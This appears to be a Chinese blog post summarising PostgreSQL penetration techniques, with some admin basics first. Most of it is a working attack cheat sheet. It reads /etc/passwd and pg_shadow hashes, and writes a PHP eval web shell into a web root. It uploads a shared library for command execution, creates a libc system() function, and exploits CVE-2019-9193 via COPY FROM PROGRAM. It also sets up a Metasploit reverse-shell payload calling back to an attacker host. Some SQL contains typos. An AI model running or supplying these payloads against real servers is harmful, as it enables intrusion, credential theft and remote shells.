前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Postgresql 渗透利用总结

Postgresql 渗透利用总结

作者头像
Power7089
发布2020-07-27 16:30:12
2K0
发布2020-07-27 16:30:12
举报

0x1 Postgresql 安装与启动

安装:sudo apt-get install postgresql 安装后:

(1)创建名为"postgres"的Linux用户

(2)创建名为"postgres"不带密码的默认数据库账号作为数据库管理员

(3)创建名为"postgres"表

(4)默认用户创建的库为public

启动:sudo /etc/init.d/postgresql restart

0x2 数据库用户权限说明

  1. login: 可登录
  2. superuser:数据库超级用户
  3. createdb:创建数据库权限
  4. createrole:创建和删除其他普通用户的权限
  5. replication:流复制时用到的一个用户属性,需要单独设定
  6. password:登录时需要指定密码
  7. inherit:用户组对组员的一个集成标识,成员可以集成用户组的特性权限

0x3 PSQL管理

执行命令:

代码语言:javascript
复制
sudo -u postgres psql

进入可以执行sql语句和psql的基本命令,链接远程数据库可以使用如下命令:

代码语言:javascript
复制
psql -U dbuser -d exampledb -h ip -p 5432

常用的命令如下:

(1)\password:设置密码

(2)\h:查看SQL命令的解释,比如\h select

(3)\l:列出所有数据库

(4)\c [database_name]:连接其他数据库

(5)\d:列出当前数据库的所有表格

(6)\d [table_name]:列出某一张表格的结构

(7)\du:列出所有用户

(8)\conninfo:列出当前数据库和连接的信息

(9)\q:退出

psql备份与还原:

(1)备份:

代码语言:javascript
复制
pg_dump -O -h 192.168.0.5 -Udbowner -w -p 5432 db_name > SS.sql 

(2)还原:

代码语言:javascript
复制
psql -h localhost -U dbowner -d db_name -f "/var/ss.sql"

0x4 常用SQL语句

1. 查看当前系统版本:

代码语言:javascript
复制
select version();

2. 列出系统目录:

代码语言:javascript
复制
select pg_ls_dir('/etc');

3. 读取系统文件100行:

代码语言:javascript
复制
select pg_read_file('postgresql.auto.conf',0,100);

4. 写入文件:(两种方式)

代码语言:javascript
复制
create table shell(shell text not null);
insert into shell values($$<?php @eval($_POST[sec]);?>$$);
copy shell(shell) to '/var/www/html/shell.php';
copy (select 'cmd') to '/var/www/html/shell.php';

5. 列出所有数据库:

代码语言:javascript
复制
select datname from pg_database;

6. 列出所有表名:

代码语言:javascript
复制
select * from pg_tables;

7. 列出所有表包含系统表,如果想获得用户创建的表,可以执行如下语句:

代码语言:javascript
复制
select tablename from pg_tables where schemaname='public';

8. 读取当前账号密码:

代码语言:javascript
复制
select usename,passwd from pg_shadow;

9. 当前用户:

代码语言:javascript
复制
select user;

10. 当前数据库:

代码语言:javascript
复制
select current_database();

11. 修改用户密码:

代码语言:javascript
复制
alter user postgres with password '123456';

0x5 渗透利用

1. 弱口令
代码语言:javascript
复制
use auxiliary/scanner/postgres/postgres_login # MSF的postgre_login 模块包含默认字典

2. 读文件

2.1 创建数据表存储读取内容

代码语言:javascript
复制
drop table wooyun;
create table wooyun(t TEXT);
copy wooyun FROM '/etc/passwd';
select * from wooyun limit 1 offset 0;

2.2 利用postgresql大对象来处理读文件

代码语言:javascript
复制
select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a;

读出来的结果需要进行hex->string

3. 写文件

3.1 普通文件写shell:

代码语言:javascript
复制
    copy (select '<?php phpinfo();?>') to '/tmp/1.php';

3.2 二进制文件写入:类似于Mysql的UDF提权形式

代码语言:javascript
复制
select lo_create(12345);
insrert into pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
insert into pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
insert into pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
insert into pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
select lo_export(12345, '/tmp/test.so');

create or replace function sys_eval(text) returns text as '/tmp/testeval.so', 'sys_eval' language C retturns NULL on NULL input immutable;
select sys_eval('id');
SELECT lo_unlink(12345);

将文件分成小于2KB大小的hex在上传,在9.6版本中切割必须等于2KB才能上传成功。先创建一个OID作为写入对象,然后通过0,1,2,3……分片上传,最后倒入/tmp目录下并删除OID,命令执行:

代码语言:javascript
复制
    select sys_exec(id); # 无回显    
    select sys_eval(id); # 有回显

4. 命令执行

Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6,可以执行命令:

代码语言:javascript
复制
create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
select system('id');

需要注意的是:Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。高版本的系统存在安全机制无法调用系统libc.sso.6,需要手动利用UDF进行命令执行。先查看postgresql支持的扩展语言:select * from pg_language; Postgresql默认支持C,可以自己编译so库去创建执行命令的函数利用。

5. 漏洞利用

5.1 CVE-2019-9193:PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令:

代码语言:javascript
复制
drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
drop table if exists cmd_exec;

需要注意的是:命令中的单引号需要用双引号进行转义,如:echo 'test' >> 'echo "test";'

MSF中也有对应的利用模块:

代码语言:javascript
复制
use exploit/multi/postgres/postgres_cmd_execution_nine_three 
set RHOST 192.168.1.5
set payload cmd/unix.reverse_perl
set database postgres
set username postgres
set password postgres
set LHOST 192.168.1.6
set LPORT 53
exploit
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员阿甘 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 弱口令
  • 3. 写文件
  • 5. 漏洞利用
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档